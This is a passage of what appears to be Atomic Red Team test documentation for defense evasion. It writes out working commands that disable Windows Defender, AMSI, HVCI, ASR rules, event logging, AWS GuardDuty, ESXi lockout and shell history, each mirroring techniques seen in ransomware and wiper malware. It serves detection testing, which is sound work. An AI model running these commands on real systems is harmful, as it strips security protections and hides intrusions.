Atomic Test #34 - LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell

LockBit Black - Disable Privacy Settings Experience Using Registry

Supported Platforms: Windows

auto_generated_guid: d8c57eaa-497a-4a08-961e-bd5efd7c9374

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE" -Name DisablePrivacyExperience -PropertyType DWord -Value 1 -Force

Cleanup Commands:

Remove-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE" -Name DisablePrivacyExperience -Force -ErrorAction Ignore

Atomic Test #35 - Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell

Lockbit Black - Use Registry Editor to turn on automatic logon

Supported Platforms: Windows

auto_generated_guid: 5e27f36d-5132-4537-b43b-413b0d5eec9a

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -Value Administrator -Force
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -Value contoso.com -Force
New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword  -Value password1 -Force

Cleanup Commands:

Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -Force -ErrorAction Ignore
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -Force -ErrorAction Ignore
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -Force -ErrorAction Ignore
Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -Force -ErrorAction Ignore

Atomic Test #36 - Disable Windows Defender with PwSh Disable-WindowsOptionalFeature

The following Atomic will attempt to disable Windows-Defender using the built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images. A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed. This method will remove Defender and it's packages. Reference: https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps

Supported Platforms: Windows

auto_generated_guid: f542ffd3-37b4-4528-837f-682874faa012

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Gui" -NoRestart -ErrorAction Ignore
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Features" -NoRestart -ErrorAction Ignore
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender" -NoRestart -ErrorAction Ignore
Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-ApplicationGuard" -NoRestart -ErrorAction Ignore

Atomic Test #37 - WMIC Tamper with Windows Defender Evade Scanning Folder

The following Atomic will attempt to exclude a folder within Defender leveraging WMI Reference: https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/

Supported Platforms: Windows

auto_generated_guid: 59d386fc-3a4b-41b8-850d-9e3eee24dfe4

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=\"ATOMICREDTEAM\"

Cleanup Commands:

wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Remove ExclusionPath=\"ATOMICREDTEAM\"

Atomic Test #38 - Delete Windows Defender Scheduled Tasks

The following atomic test will delete the Windows Defender scheduled tasks.

Reference

Supported Platforms: Windows

auto_generated_guid: 4b841aa1-0d05-4b32-bbe7-7564346e7c76

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

IF EXIST "%temp%\Windows_Defender_Scheduled_Scan.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f )
IF EXIST "%temp%\Windows_Defender_Cleanup.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f )
IF EXIST "%temp%\Windows_Defender_Verification.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /f )
IF EXIST "%temp%\Windows_Defender_Cache_Maintenance.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f )

Cleanup Commands:

schtasks /create /xml "%temp%\Windows_Defender_Scheduled_Scan.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
schtasks /create /xml "%temp%\Windows_Defender_Cleanup.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
schtasks /create /xml "%temp%\Windows_Defender_Verification.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
schtasks /create /xml "%temp%\Windows_Defender_Cache_Maintenance.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f

Dependencies: Run with command_prompt!

Description: The Windows Defender scheduled tasks must be backed up first
Check Prereq Commands:
IF EXIST "%temp%\Windows_Defender_Scheduled_Scan.xml" ( EXIT 0 ) ELSE ( EXIT 1 )
Get Prereq Commands:
schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" > "%temp%\Windows_Defender_Scheduled_Scan.xml"
schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" > "%temp%\Windows_Defender_Cleanup.xml"
schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" > "%temp%\Windows_Defender_Verification.xml"
schtasks /query /xml /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" > "%temp%\Windows_Defender_Cache_Maintenance.xml"

Atomic Test #39 - Clear History

Clear Shell History. This technique only affect the bash shell application.

Supported Platforms: Linux

auto_generated_guid: 23b88394-091b-4968-a42d-fb8076992443

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

history -c

Atomic Test #40 - Suspend History

suspend Shell History seen in Awfulshred wiper- https://unix.stackexchange.com/questions/10922/temporarily-suspend-bash-history-on-a-given-shell

Supported Platforms: Linux

auto_generated_guid: 94f6a1c9-aae7-46a4-9083-2bb1f5768ec4

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

set +o history

Cleanup Commands:

set -o history

Atomic Test #41 - Reboot Linux Host via Kernel System Request

reboot system via system request seen in Awfulshred wiper.

Supported Platforms: Linux

auto_generated_guid: 6d6d3154-1a52-4d1a-9d51-92ab8148b32e

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

echo 1> /proc/sys/kernel/sysrq
echo b> /proc/sysrq-trigger

Atomic Test #42 - Clear Pagging Cache

clear pagging cache via system request. This is a temporary change in the system to clear paging cache. This technique seen in Awfulshred wiper as part of its malicious payload on the compromised host. added reference link for this technique: https://www.tecmint.com/clear-ram-memory-cache-buffer-and-swap-space-on-linux/

Supported Platforms: Linux

auto_generated_guid: f790927b-ea85-4a16-b7b2-7eb44176a510

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

free && echo 3 > /proc/sys/vm/drop_caches && free
echo 3> /proc/sys/vm/drop_caches

Atomic Test #43 - Disable Memory Swap

disable swapping of device paging that impaire the compromised host to swap data if the RAM is full. Awfulshred wiper used this technique as an additional payload to the compromised host and to make sure that there will be no recoverable data due to swap feature of FreeBSD/linux.

Supported Platforms: Linux

auto_generated_guid: e74e4c63-6fde-4ad2-9ee8-21c3a1733114

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

swapon -a
sleep 2
swapoff -a
sync

Cleanup Commands:

swapon -a
sleep 2
sync

Atomic Test #44 - Disable Hypervisor-Enforced Code Integrity (HVCI)

This test disables Hypervisor-Enforced Code Integrity (HVCI) by setting the registry key HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity "Enabled" value to "0". The pre-req needs to be ran in order to setup HVCI and have it enabled. We do not recommend running this in production. Black Lotus Campaign Microsoft

Supported Platforms: Windows

auto_generated_guid: 70bd71e6-eba4-4e00-92f7-617911dbe020

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /t REG_DWORD /d 0 /f

Cleanup Commands:

reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequirePlatformSecurityFeatures" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /f
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Locked" /f

Dependencies: Run with powershell!

Description: HVCI must be enabled
Check Prereq Commands:
if (((cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" 2> nul | findstr EnableVirtualizationBasedSecurity 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequirePlatformSecurityFeatures" 2> nul | findstr RequirePlatformSecurityFeatures 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked" 2> nul | findstr Locked 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" 2> nul | findstr Enabled 2> nul") -and (cmd.exe /c "reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Locked" 2> nul | findstr Locked 2> nul"))) { exit 0 } else { exit 1 }
Get Prereq Commands:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequirePlatformSecurityFeatures" /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked" /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Locked" /t REG_DWORD /d 0 /f

Atomic Test #45 - AMSI Bypass - Override AMSI via COM

With administrative rights, an adversary can disable AMSI via registry value in HKCU\Software\Classes\CLSID{fdb00e52-a214-4aa1-8fba-4357bb0072ec} by overriding the Microsoft Defender COM object for AMSI and points it to a DLL that does not exist. This is currently being used by AsyncRAT and others. https://strontic.github.io/xcyclopedia/library/clsid_fdb00e52-a214-4aa1-8fba-4357bb0072ec.html https://securitynews.sonicwall.com/xmlpost/asyncrat-variant-includes-cryptostealer-capabilites/

Supported Platforms: Windows

auto_generated_guid: 17538258-5699-4ff1-92d1-5ac9b0dc21f5

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\IDontExist.dll /f

Cleanup Commands:

REG DELETE HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /f

Atomic Test #46 - AWS - GuardDuty Suspension or Deletion

Enables GuardDuty in AWS, upon successful creation this test will suspend and then delete the GuardDuty configuration.

Supported Platforms: Iaas:aws

auto_generated_guid: 11e65d8d-e7e4-470e-a3ff-82bc56ad938e

Inputs:

NameDescriptionTypeDefault Value
regionName of the specified regionstringus-east-1

Attack Commands: Run with bash!

detectorId=$(aws guardduty create-detector --enable --region "#{region}" | grep -oP '(?<="DetectorId": ")[^"]*')
aws guardduty update-detector --no-enable --detector-id $detectorId
aws guardduty delete-detector --detector-id $detectorId

Cleanup Commands:

echo "If test successfully ran, no cleanup required."

Dependencies: Run with bash!

Description: Check if ~/.aws/credentials file has a default stanza is configured
Check Prereq Commands:
cat ~/.aws/credentials | grep "default"
Get Prereq Commands:
echo "Please install the aws-cli and configure your AWS default profile using: aws configure"

Atomic Test #47 - Tamper with Defender ATP on Linux/MacOS

With root privileges, an adversary can disable real time protection. Note, this test assumes Defender is not in passive mode and real-time protection is enabled. The use of a managed.json on Linux or Defender .plist on MacOS will prevent these changes. Tamper protection will also prevent this (available on MacOS, but not Linux at the time of writing). Installation of MDATP is a prerequisite. Installation steps vary across MacOS and Linux distros. See Microsoft public documentation for instructions: https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/mac-install-manually?view=o365-worldwide https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/linux-install-manually?view=o365-worldwide

Supported Platforms: Linux, macOS

auto_generated_guid: 40074085-dbc8-492b-90a3-11bcfc52fda8

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

sudo mdatp config real-time-protection --value disabled

Cleanup Commands:

sudo mdatp config real-time-protection --value enabled

Atomic Test #48 - Tamper with Windows Defender Registry - Reg.exe

Disable Windows Defender by tampering with windows defender registry using the utility "reg.exe"

Supported Platforms: Windows

auto_generated_guid: 1f6743da-6ecc-4a93-b03f-dc357e4b313f

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" /v "DisallowExploitProtectionOverride" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection"  /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\software\microsoft\windows defender\spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Microsoft\Windows Defender" /v "PUAProtection" /t REG_DWORD /d "0" /f >NUL 2>nul

Cleanup Commands:

reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "0" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" /v "DisallowExploitProtectionOverride" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection"  /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\software\microsoft\windows defender\spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d "1" /f >NUL 2>nul
reg add "HKLM\Software\Microsoft\Windows Defender" /v "PUAProtection" /t REG_DWORD /d "1" /f >NUL 2>nul

Atomic Test #49 - Tamper with Windows Defender Registry - Powershell

Disable Windows Defender by tampering with windows defender registry through powershell

Supported Platforms: Windows

auto_generated_guid: a72cfef8-d252-48b3-b292-635d332625c3

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiVirus" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableBehaviorMonitoring" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIntrusionPreventionSystem" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIOAVProtection" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableOnAccessProtection" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRoutinelyTakingAction" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScanOnRealtimeEnable" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScriptScanning" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Reporting" -Name "DisableEnhancedNotifications" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "DisableBlockAtFirstSeen" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "SpynetReporting" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\MpEngine" -Name "MpEnablePus" -Value 0
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" -Name "DisallowExploitProtectionOverride" -Value 0
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name "TamperProtection"  -Value 0
Set-ItemProperty "HKLM:\software\microsoft\windows defender\spynet" -Name "SubmitSamplesConsent" -Value 0
Set-ItemProperty "HKLM:\Software\Microsoft\Windows Defender" -Name "PUAProtection" -Value 0

Cleanup Commands:

Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiVirus" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableBehaviorMonitoring" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIntrusionPreventionSystem" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableIOAVProtection" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableOnAccessProtection" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRoutinelyTakingAction" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScanOnRealtimeEnable" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableScriptScanning" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\Reporting" -Name "DisableEnhancedNotifications" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "DisableBlockAtFirstSeen" -Value 0
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\SpyNet" -Name "SpynetReporting" -Value 1
Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\MpEngine" -Name "MpEnablePus" -Value 1
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" -Name "DisallowExploitProtectionOverride" -Value 1
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name "TamperProtection"  -Value 1
Set-ItemProperty "HKLM:\software\microsoft\windows defender\spynet" -Name "SubmitSamplesConsent" -Value 1
Set-ItemProperty "HKLM:\Software\Microsoft\Windows Defender" -Name "PUAProtection" -Value 1

Atomic Test #50 - ESXi - Disable Account Lockout Policy via PowerCLI

An adversary may disable account lockout policy within ESXi to have the ability to prevent defensive actions from being enforced in the future or to prevent future alerting.

Supported Platforms: Linux

auto_generated_guid: 091a6290-cd29-41cb-81ea-b12f133c66cb

Inputs:

NameDescriptionTypeDefault Value
vm_hostSpecify the host name of the ESXi Serverstringatomic.local
vm_userSpecify the privilege user account on ESXi Serverstringroot
vm_passSpecify the privilege user password on ESXi Serverstringpass

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-AdvancedSetting -Entity #{vm_host} -Name 'Security.AccountLockFailures' | Set-AdvancedSetting -Value '0' -Confirm:$false
Disconnect-VIServer -Confirm:$false

Dependencies: Run with powershell!

Description: Check if VMWARE PowerCLI PowerShell Module is installed.
Check Prereq Commands:
$RequiredModule = Get-Module -Name VMware.PowerCLI -ListAvailable
if (-not $RequiredModule) {exit 1}
Get Prereq Commands:
Install-Module -Name VMware.PowerCLI -Confirm:$false

Atomic Test #51 - Delete Microsoft Defender ASR Rules - InTune

This test simulates the deletion of the ASR rules loaded by Microsoft Defender using the registry. Depending on the deployment, rules can be pushed either using GPO or InTune, This test simulates an InTune-based rules deployment.

Supported Platforms: Windows

auto_generated_guid: eea0a6c2-84e9-4e8c-a242-ac585d28d0d1

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager"

if (-not (Test-Path $registryPath)) {
  New-Item -Path $registryPath -Force
  Write-Host "Registry key created: $registryPath"
}

$registryValueName = "ASRRules"

if (Test-Path "$registryPath\$registryValueName") {
  Remove-ItemProperty -Path $registryPath -Name $registryValueName
  Write-Host "Registry value deleted: $registryValueName"
} else {
  New-ItemProperty -Path $registryPath -Name $registryValueName -PropertyType String -Value "36190899-1602-49e8-8b27-eb1d0a1ce869=1" -Force
  Write-Host "Registry value created: $registryValueName"
}


Remove-ItemProperty -Path $registryPath -Name $registryValueName
Write-Host "Registry value deleted: $registryValueName"

Atomic Test #52 - Delete Microsoft Defender ASR Rules - GPO

This test simulates the deletion of the ASR rules loaded by Microsoft Defender using the registry. Depending on the deployment, rules can be pushed either using GPO or InTune, This test simulates a GPO-based rules deployment.

Supported Platforms: Windows

auto_generated_guid: 0e7b8a4b-2ca5-4743-a9f9-96051abb6e50

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\Rules"

if (-not (Test-Path $registryPath)) {
    New-Item -Path $registryPath -Force
    Write-Host "Registry key created: $registryPath"
}

$newValueName = "36190899-1602-49e8-8b27-eb1d0a1ce869"
$newValueData = "1"
New-ItemProperty -Path $registryPath -Name $newValueName -PropertyType String -Value $newValueData -Force
Write-Host "Registry value created: $newValueName with data $newValueData"

Remove-ItemProperty -Path $registryPath -Name $newValueName
Write-Host "Registry value deleted: $newValueName"

Atomic Test #53 - AMSI Bypass - Create AMSIEnable Reg Key

Threat Actor could disable the AMSI function by adding a registry value name “AmsiEnable” to the registry key “HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable” and set its value to 0. Ref: https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d

Supported Platforms: Windows

auto_generated_guid: 728eca7b-0444-4f6f-ac36-437e3d751dc0

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-Item -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Name "AmsiEnable" -Value 0 -PropertyType DWORD -Force | Out-Null

Cleanup Commands:

Remove-Item -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Recurse -Force 2> $null

Atomic Test #54 - Disable EventLog-Application Auto Logger Session Via Registry - Cmd

This atomic simulates an activity where an attacker disables the EventLog-Application ETW Auto Logger session using the reg.exe utility to update the Windows registry value "Start". This would effectivly disable the Event log application channel. The changes would only take effect after a restart.

Supported Platforms: Windows

auto_generated_guid: 653c6e17-14a2-4849-851d-f1c0cc8ea9ab

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application" /v "Start" /t REG_DWORD /d "0" /f

Cleanup Commands:

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application" /v "Start" /t REG_DWORD /d "1" /f

Atomic Test #55 - Disable EventLog-Application Auto Logger Session Via Registry - PowerShell

This atomic simulates an activity where an attacker disables the EventLog-Application ETW Auto Logger session using the powershell.exe "New-ItemProperty" cmdlet to update the Windows registry value "Start". This would effectivly disable the Event log application channel. The changes would only take effect after a restart.

Supported Platforms: Windows

auto_generated_guid: da86f239-9bd3-4e85-92ed-4a94ef111a1c

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application -Name Start -Value 0 -PropertyType "DWord" -Force

Cleanup Commands:

